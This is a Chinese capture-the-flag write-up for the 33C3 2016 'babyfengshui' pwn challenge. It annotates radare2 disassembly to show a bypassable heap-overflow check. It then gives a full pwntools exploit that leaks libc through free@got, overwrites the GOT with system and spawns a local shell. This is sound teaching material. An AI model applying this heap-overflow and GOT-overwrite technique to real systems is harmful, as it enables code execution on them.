6.1.20 pwn 33C3CTF2016 babyfengshui

下载文件

题目复现

  1. $ file babyfengshui
  2. babyfengshui: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cecdaee24200fe5bbd3d34b30404961ca49067c6, stripped
  3. $ checksec -f babyfengshui
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 3 babyfengshui
  6. $ strings libc-2.19.so | grep "GNU C"
  7. GNU C Library (Debian GLIBC 2.19-18+deb8u6) stable release version 2.19, by Roland McGrath et al.
  8. Compiled by GNU CC version 4.8.4.

32 位程序,开启了 canary 和 NX。

在 Ubuntu-14.04 上玩一下,添加 user 和显示 user:

  1. $ ./babyfengshui
  2. 0: Add a user
  3. 1: Delete a user
  4. 2: Display a user
  5. 3: Update a user description
  6. 4: Exit
  7. Action: 0
  8. size of description: 10 # description 最大长度(desc_size)
  9. name: AAAA
  10. text length: 5 # description 实际长度(text_size)
  11. text: aaaa
  12. 0: Add a user
  13. 1: Delete a user
  14. 2: Display a user
  15. 3: Update a user description
  16. 4: Exit
  17. Action: 2
  18. index: 0
  19. name: AAAA
  20. description: aaaa

对于 description 的调整只能在最大长度的范围内,否则程序退出:

  1. 0: Add a user
  2. 1: Delete a user
  3. 2: Display a user
  4. 3: Update a user description
  5. 4: Exit
  6. Action: 3
  7. index: 0
  8. text length: 20
  9. my l33t defenses cannot be fooled, cya!

题目解析

Add a user

  1. [0x080485c0]> pdf @ sub.malloc_816
  2. / (fcn) sub.malloc_816 239
  3. | sub.malloc_816 (int arg_8h);
  4. | ; var int local_1ch @ ebp-0x1c
  5. | ; var int local_14h @ ebp-0x14
  6. | ; var int local_10h @ ebp-0x10
  7. | ; var int local_ch @ ebp-0xc
  8. | ; arg int arg_8h @ ebp+0x8
  9. | ; CALL XREF from 0x08048b21 (main)
  10. | 0x08048816 push ebp
  11. | 0x08048817 mov ebp, esp
  12. | 0x08048819 sub esp, 0x28 ; '('
  13. | 0x0804881c mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
  14. | 0x0804881f mov dword [local_1ch], eax ; 将参数 desc_size 放到 [local_1ch]
  15. | 0x08048822 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
  16. | 0x08048828 mov dword [local_ch], eax
  17. | 0x0804882b xor eax, eax
  18. | 0x0804882d sub esp, 0xc
  19. | 0x08048830 push dword [local_1ch]
  20. | 0x08048833 call sym.imp.malloc ; [local_14h] = malloc(desc_size) description 分配空间
  21. | 0x08048838 add esp, 0x10
  22. | 0x0804883b mov dword [local_14h], eax
  23. | 0x0804883e sub esp, 4
  24. | 0x08048841 push dword [local_1ch]
  25. | 0x08048844 push 0
  26. | 0x08048846 push dword [local_14h]
  27. | 0x08048849 call sym.imp.memset ; memset([local_14h], 0, desc_size) 初始化
  28. | 0x0804884e add esp, 0x10
  29. | 0x08048851 sub esp, 0xc
  30. | 0x08048854 push 0x80 ; 128
  31. | 0x08048859 call sym.imp.malloc ; [local_10h] = malloc(0x80) user struct 分配空间
  32. | 0x0804885e add esp, 0x10
  33. | 0x08048861 mov dword [local_10h], eax
  34. | 0x08048864 sub esp, 4
  35. | 0x08048867 push 0x80 ; 128
  36. | 0x0804886c push 0
  37. | 0x0804886e push dword [local_10h]
  38. | 0x08048871 call sym.imp.memset ; memset([local_10h], 0, 0x80) 初始化
  39. | 0x08048876 add esp, 0x10
  40. | 0x08048879 mov eax, dword [local_10h]
  41. | 0x0804887c mov edx, dword [local_14h]
  42. | 0x0804887f mov dword [eax], edx ; user->desc = desc ; desc = [local_14h]
  43. | 0x08048881 movzx eax, byte [0x804b069] ; [0x804b069:1]=0 ; 取出序号 i
  44. | 0x08048888 movzx eax, al
  45. | 0x0804888b mov edx, dword [local_10h]
  46. | 0x0804888e mov dword [eax*4 + 0x804b080], edx ; store[i] = user user 放到数组里
  47. | 0x08048895 sub esp, 0xc
  48. | 0x08048898 push str.name: ; 0x8048cf3 ; "name: "
  49. | 0x0804889d call sym.imp.printf ; int printf(const char *format)
  50. | 0x080488a2 add esp, 0x10
  51. | 0x080488a5 movzx eax, byte [0x804b069] ; [0x804b069:1]=0
  52. | 0x080488ac movzx eax, al
  53. | 0x080488af mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i]
  54. | 0x080488b6 add eax, 4 ; 取出 store[i]->name
  55. | 0x080488b9 sub esp, 8
  56. | 0x080488bc push 0x7c ; '|' ; 124
  57. | 0x080488be push eax
  58. | 0x080488bf call sub.fgets_6bb ; 读入 0x7c 个字符到 store[i]->name,将末尾的 '\n' 换成 '\x00'
  59. | 0x080488c4 add esp, 0x10
  60. | 0x080488c7 movzx eax, byte [0x804b069] ; [0x804b069:1]=0
  61. | 0x080488ce add eax, 1 ; 序号 i = i + 1
  62. | 0x080488d1 mov byte [0x804b069], al ; [0x804b069:1]=0 ; 写回去
  63. | 0x080488d6 movzx eax, byte [0x804b069] ; [0x804b069:1]=0 ; 取出 i
  64. | 0x080488dd sub eax, 1 ; i = i - 1
  65. | 0x080488e0 movzx eax, al
  66. | 0x080488e3 sub esp, 0xc
  67. | 0x080488e6 push eax
  68. | 0x080488e7 call sub.text_length:_724 ; 调用更新 description 的函数,参数为 i
  69. | 0x080488ec add esp, 0x10
  70. | 0x080488ef mov eax, dword [local_10h]
  71. | 0x080488f2 mov ecx, dword [local_ch]
  72. | 0x080488f5 xor ecx, dword gs:[0x14]
  73. | ,=< 0x080488fc je 0x8048903
  74. | | 0x080488fe call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  75. | | ; JMP XREF from 0x080488fc (sub.malloc_816)
  76. | `-> 0x08048903 leave
  77. \ 0x08048904 ret

函数首先分配一个 description 的最大空间,然后分配 user 结构体空间,并将 user 放到 store 数组中,最后调用更新 description 的函数。

user 结构体和 store 数组如下:

  1. struct user {
  2. char *desc;
  3. char name[0x7c];
  4. } user;
  5. struct user *store[50];

store 放在 0x804b080,当前 user 个数 user_num 放在 0x804b069

Delete a user

  1. [0x080485c0]> pdf @ sub.free_905
  2. / (fcn) sub.free_905 138
  3. | sub.free_905 (int arg_8h);
  4. | ; var int local_1ch @ ebp-0x1c
  5. | ; var int local_ch @ ebp-0xc
  6. | ; arg int arg_8h @ ebp+0x8
  7. | ; CALL XREF from 0x08048b5f (main)
  8. | 0x08048905 push ebp
  9. | 0x08048906 mov ebp, esp
  10. | 0x08048908 sub esp, 0x28 ; '('
  11. | 0x0804890b mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
  12. | 0x0804890e mov byte [local_1ch], al ; 将参数 i 放到 [local_1ch]
  13. | 0x08048911 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
  14. | 0x08048917 mov dword [local_ch], eax
  15. | 0x0804891a xor eax, eax
  16. | 0x0804891c movzx eax, byte [0x804b069] ; [0x804b069:1]=0 ; 取出 user_num
  17. | 0x08048923 cmp byte [local_1ch], al ; [0x2:1]=255 ; 2 ; 比较
  18. | ,=< 0x08048926 jae 0x8048978 ; i 大于等于 user_num 时函数返回
  19. | | 0x08048928 movzx eax, byte [local_1ch]
  20. | | 0x0804892c mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i]
  21. | | 0x08048933 test eax, eax ; store[i] 0 是函数返回
  22. | ,==< 0x08048935 je 0x804897b
  23. | || 0x08048937 movzx eax, byte [local_1ch]
  24. | || 0x0804893b mov eax, dword [eax*4 + 0x804b080] ; [0x804b080:4]=0
  25. | || 0x08048942 mov eax, dword [eax] ; 取出 store[i]->desc
  26. | || 0x08048944 sub esp, 0xc
  27. | || 0x08048947 push eax
  28. | || 0x08048948 call sym.imp.free ; free(store[i]->desc) 释放 description
  29. | || 0x0804894d add esp, 0x10
  30. | || 0x08048950 movzx eax, byte [local_1ch]
  31. | || 0x08048954 mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i]
  32. | || 0x0804895b sub esp, 0xc
  33. | || 0x0804895e push eax
  34. | || 0x0804895f call sym.imp.free ; free(store[i]) 释放 user
  35. | || 0x08048964 add esp, 0x10
  36. | || 0x08048967 movzx eax, byte [local_1ch]
  37. | || 0x0804896b mov dword [eax*4 + 0x804b080], 0 ; store[i] 置为 0
  38. | ,===< 0x08048976 jmp 0x804897c
  39. | ||| ; JMP XREF from 0x08048926 (sub.free_905)
  40. | ||`-> 0x08048978 nop
  41. | ||,=< 0x08048979 jmp 0x804897c
  42. | ||| ; JMP XREF from 0x08048935 (sub.free_905)
  43. | |`--> 0x0804897b nop
  44. | | | ; JMP XREF from 0x08048979 (sub.free_905)
  45. | | | ; JMP XREF from 0x08048976 (sub.free_905)
  46. | `-`-> 0x0804897c mov eax, dword [local_ch]
  47. | 0x0804897f xor eax, dword gs:[0x14]
  48. | ,=< 0x08048986 je 0x804898d
  49. | | 0x08048988 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  50. | | ; JMP XREF from 0x08048986 (sub.free_905)
  51. | `-> 0x0804898d leave
  52. \ 0x0804898e ret

删除的过程将 description 和 user 依次释放,并将 store[i] 置为 0。

但是 user->desc 没有被置为 0,user_num 也没有减 1,似乎可能导致 UAF,但不知道怎么用。

Display a user

  1. [0x080485c0]> pdf @ sub.name:__s_98f
  2. / (fcn) sub.name:__s_98f 136
  3. | sub.name:__s_98f (int arg_8h);
  4. | ; var int local_1ch @ ebp-0x1c
  5. | ; var int local_ch @ ebp-0xc
  6. | ; arg int arg_8h @ ebp+0x8
  7. | ; CALL XREF from 0x08048b9d (main)
  8. | 0x0804898f push ebp
  9. | 0x08048990 mov ebp, esp
  10. | 0x08048992 sub esp, 0x28 ; '('
  11. | 0x08048995 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
  12. | 0x08048998 mov byte [local_1ch], al ; 将参数 i 放到 [local_1ch]
  13. | 0x0804899b mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
  14. | 0x080489a1 mov dword [local_ch], eax
  15. | 0x080489a4 xor eax, eax
  16. | 0x080489a6 movzx eax, byte [0x804b069] ; [0x804b069:1]=0 ; 取出 user_num
  17. | 0x080489ad cmp byte [local_1ch], al ; [0x2:1]=255 ; 2 ; 比较
  18. | ,=< 0x080489b0 jae 0x8048a00 ; i 大于等于 user_num 时函数返回
  19. | | 0x080489b2 movzx eax, byte [local_1ch]
  20. | | 0x080489b6 mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i]
  21. | | 0x080489bd test eax, eax
  22. | ,==< 0x080489bf je 0x8048a03 ; store[i] 0 时函数返回
  23. | || 0x080489c1 movzx eax, byte [local_1ch]
  24. | || 0x080489c5 mov eax, dword [eax*4 + 0x804b080] ; [0x804b080:4]=0
  25. | || 0x080489cc add eax, 4 ; 取出 store[i]->name
  26. | || 0x080489cf sub esp, 8
  27. | || 0x080489d2 push eax
  28. | || 0x080489d3 push str.name:__s ; 0x8048cfa ; "name: %s\n"
  29. | || 0x080489d8 call sym.imp.printf ; 打印 store[i]->name
  30. | || 0x080489dd add esp, 0x10
  31. | || 0x080489e0 movzx eax, byte [local_1ch]
  32. | || 0x080489e4 mov eax, dword [eax*4 + 0x804b080] ; [0x804b080:4]=0
  33. | || 0x080489eb mov eax, dword [eax] ; 取出 store[i]->desc
  34. | || 0x080489ed sub esp, 8
  35. | || 0x080489f0 push eax
  36. | || 0x080489f1 push str.description:__s ; 0x8048d04 ; "description: %s\n"
  37. | || 0x080489f6 call sym.imp.printf ; 打印 store[i]->desc
  38. | || 0x080489fb add esp, 0x10
  39. | ,===< 0x080489fe jmp 0x8048a04
  40. | ||| ; JMP XREF from 0x080489b0 (sub.name:__s_98f)
  41. | ||`-> 0x08048a00 nop
  42. | ||,=< 0x08048a01 jmp 0x8048a04
  43. | ||| ; JMP XREF from 0x080489bf (sub.name:__s_98f)
  44. | |`--> 0x08048a03 nop
  45. | | | ; JMP XREF from 0x08048a01 (sub.name:__s_98f)
  46. | | | ; JMP XREF from 0x080489fe (sub.name:__s_98f)
  47. | `-`-> 0x08048a04 mov eax, dword [local_ch]
  48. | 0x08048a07 xor eax, dword gs:[0x14]
  49. | ,=< 0x08048a0e je 0x8048a15
  50. | | 0x08048a10 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  51. | | ; JMP XREF from 0x08048a0e (sub.name:__s_98f)
  52. | `-> 0x08048a15 leave
  53. \ 0x08048a16 ret

函数首先判断 store[i] 是否存在,如果是,就打印出 name 和 description。

Update a user description

  1. [0x080485c0]> pdf @ sub.text_length:_724
  2. / (fcn) sub.text_length:_724 242
  3. | sub.text_length:_724 (int arg_8h);
  4. | ; var int local_1ch @ ebp-0x1c
  5. | ; var int local_11h @ ebp-0x11
  6. | ; var int local_10h @ ebp-0x10
  7. | ; var int local_ch @ ebp-0xc
  8. | ; arg int arg_8h @ ebp+0x8
  9. | ; CALL XREF from 0x08048bdb (main)
  10. | ; CALL XREF from 0x080488e7 (sub.malloc_816)
  11. | 0x08048724 push ebp
  12. | 0x08048725 mov ebp, esp
  13. | 0x08048727 sub esp, 0x28 ; '('
  14. | 0x0804872a mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
  15. | 0x0804872d mov byte [local_1ch], al ; 将参数 i 放到 [local_1ch]
  16. | 0x08048730 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
  17. | 0x08048736 mov dword [local_ch], eax
  18. | 0x08048739 xor eax, eax
  19. | 0x0804873b movzx eax, byte [0x804b069] ; [0x804b069:1]=0 ; 取出 user_num
  20. | 0x08048742 cmp byte [local_1ch], al ; [0x2:1]=255 ; 2 ; 比较
  21. | ,=< 0x08048745 jae 0x80487ff ; i 大于等于 user_num 时函数返回
  22. | | 0x0804874b movzx eax, byte [local_1ch]
  23. | | 0x0804874f mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i]
  24. | | 0x08048756 test eax, eax
  25. | ,==< 0x08048758 je 0x8048802 ; store[i] 0 时函数返回
  26. | || 0x0804875e mov dword [local_10h], 0 ; text_size 放到 [local_10h]
  27. | || 0x08048765 sub esp, 0xc
  28. | || 0x08048768 push str.text_length: ; 0x8048cb0 ; "text length: "
  29. | || 0x0804876d call sym.imp.printf ; int printf(const char *format)
  30. | || 0x08048772 add esp, 0x10
  31. | || 0x08048775 sub esp, 4
  32. | || 0x08048778 lea eax, [local_11h]
  33. | || 0x0804877b push eax
  34. | || 0x0804877c lea eax, [local_10h]
  35. | || 0x0804877f push eax
  36. | || 0x08048780 push str.u_c ; 0x8048cbe ; "%u%c"
  37. | || 0x08048785 call sym.imp.__isoc99_scanf ; 读入 text_size
  38. | || 0x0804878a add esp, 0x10
  39. | || 0x0804878d movzx eax, byte [local_1ch]
  40. | || 0x08048791 mov eax, dword [eax*4 + 0x804b080] ; [0x804b080:4]=0
  41. | || 0x08048798 mov eax, dword [eax] ; 取出 store[i]->desc
  42. | || 0x0804879a mov edx, eax
  43. | || 0x0804879c mov eax, dword [local_10h] ; 取出 test_size
  44. | || 0x0804879f add edx, eax ; store[i]->desc + test_size
  45. | || 0x080487a1 movzx eax, byte [local_1ch]
  46. | || 0x080487a5 mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i]
  47. | || 0x080487ac sub eax, 4 ; store[i] - 4
  48. | || 0x080487af cmp edx, eax ; 比较 (store[i]->desc + test_size) (store[i] - 4)
  49. | ,===< 0x080487b1 jb 0x80487cd ; 小于时跳转
  50. | ||| 0x080487b3 sub esp, 0xc ; 否则继续,程序退出
  51. | ||| 0x080487b6 push str.my_l33t_defenses_cannot_be_fooled__cya ; 0x8048cc4 ; "my l33t defenses cannot be fooled, cya!"
  52. | ||| 0x080487bb call sym.imp.puts ; int puts(const char *s)
  53. | ||| 0x080487c0 add esp, 0x10
  54. | ||| 0x080487c3 sub esp, 0xc
  55. | ||| 0x080487c6 push 1 ; 1
  56. | ||| 0x080487c8 call sym.imp.exit ; void exit(int status)
  57. | ||| ; JMP XREF from 0x080487b1 (sub.text_length:_724)
  58. | `---> 0x080487cd sub esp, 0xc
  59. | || 0x080487d0 push str.text: ; 0x8048cec ; "text: "
  60. | || 0x080487d5 call sym.imp.printf ; int printf(const char *format)
  61. | || 0x080487da add esp, 0x10
  62. | || 0x080487dd mov eax, dword [local_10h]
  63. | || 0x080487e0 lea edx, [eax + 1] ; test_size + 1
  64. | || 0x080487e3 movzx eax, byte [local_1ch]
  65. | || 0x080487e7 mov eax, dword [eax*4 + 0x804b080] ; [0x804b080:4]=0
  66. | || 0x080487ee mov eax, dword [eax] ; 取出 store[i]->desc
  67. | || 0x080487f0 sub esp, 8
  68. | || 0x080487f3 push edx
  69. | || 0x080487f4 push eax
  70. | || 0x080487f5 call sub.fgets_6bb ; 读入 test_size+1 个字符到 store[i]->desc
  71. | || 0x080487fa add esp, 0x10
  72. | ,===< 0x080487fd jmp 0x8048803
  73. | ||| ; JMP XREF from 0x08048745 (sub.text_length:_724)
  74. | ||`-> 0x080487ff nop
  75. | ||,=< 0x08048800 jmp 0x8048803
  76. | ||| ; JMP XREF from 0x08048758 (sub.text_length:_724)
  77. | |`--> 0x08048802 nop
  78. | | | ; JMP XREF from 0x08048800 (sub.text_length:_724)
  79. | | | ; JMP XREF from 0x080487fd (sub.text_length:_724)
  80. | `-`-> 0x08048803 mov eax, dword [local_ch]
  81. | 0x08048806 xor eax, dword gs:[0x14]
  82. | ,=< 0x0804880d je 0x8048814
  83. | | 0x0804880f call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  84. | | ; JMP XREF from 0x0804880d (sub.text_length:_724)
  85. | `-> 0x08048814 leave
  86. \ 0x08048815 ret

该函数读入新的 text_size,并使用 (store[i]->desc + test_size) < (store[i] - 4) 的条件来防止堆溢出,最后读入新的 description。

然而这种检查方式是有问题的,它基于 description 正好位于 user 前面这种设定。根据我们对堆分配器的理解,这个设定不一定成立,它们之间可能会包含其他已分配的堆块,从而绕过检查。

漏洞利用

所以我们首先添加两个 user,用于绕过检查。第 3 个 user 存放 “/bin/sh”。然后删掉第 1 个 user,并创建一个 description 很长的 user,其长度是第 1 个 user 的 description 长度加上 user 结构体长度。这时候检查就绕过了,我们可以在添加新 user 的时候修改 description 大小,造成堆溢出,并修改第 2 个 user 的 user->desc 为 free@got.plt,从而泄漏出 libc 地址。得到 system 地址后,此时修改第 2 个 user 的 description,其实是修改 free 的 GOT,所以我们将其改成 system@got.plt。最后删除第 3 个 user,触发 system(‘/bin/sh’),得到 shell。

开启 ASLR。Bingo!!!

  1. $ python exp.py
  2. [+] Starting local process './babyfengshui': pid 2269
  3. [*] system address: 0xf75e23e0
  4. [*] Switching to interactive mode
  5. $ whoami
  6. firmy

exploit

完整的 exp 如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. #context.log_level = 'debug'
  4. io = process(['./babyfengshui'], env={'LD_PRELOAD':'./libc-2.19.so'})
  5. elf = ELF('babyfengshui')
  6. libc = ELF('libc-2.19.so')
  7. def add_user(size, length, text):
  8. io.sendlineafter("Action: ", '0')
  9. io.sendlineafter("description: ", str(size))
  10. io.sendlineafter("name: ", 'AAAA')
  11. io.sendlineafter("length: ", str(length))
  12. io.sendlineafter("text: ", text)
  13. def delete_user(idx):
  14. io.sendlineafter("Action: ", '1')
  15. io.sendlineafter("index: ", str(idx))
  16. def display_user(idx):
  17. io.sendlineafter("Action: ", '2')
  18. io.sendlineafter("index: ", str(idx))
  19. def update_desc(idx, length, text):
  20. io.sendlineafter("Action: ", '3')
  21. io.sendlineafter("index: ", str(idx))
  22. io.sendlineafter("length: ", str(length))
  23. io.sendlineafter("text: ", text)
  24. if __name__ == "__main__":
  25. add_user(0x80, 0x80, 'AAAA') # 0
  26. add_user(0x80, 0x80, 'AAAA') # 1
  27. add_user(0x8, 0x8, '/bin/sh\x00') # 2
  28. delete_user(0)
  29. add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free'])) # 0
  30. display_user(1)
  31. io.recvuntil("description: ")
  32. free_addr = u32(io.recvn(4))
  33. system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
  34. log.info("system address: 0x%x" % system_addr)
  35. update_desc(1, 0x4, p32(system_addr))
  36. delete_user(2)
  37. io.interactive()

参考资料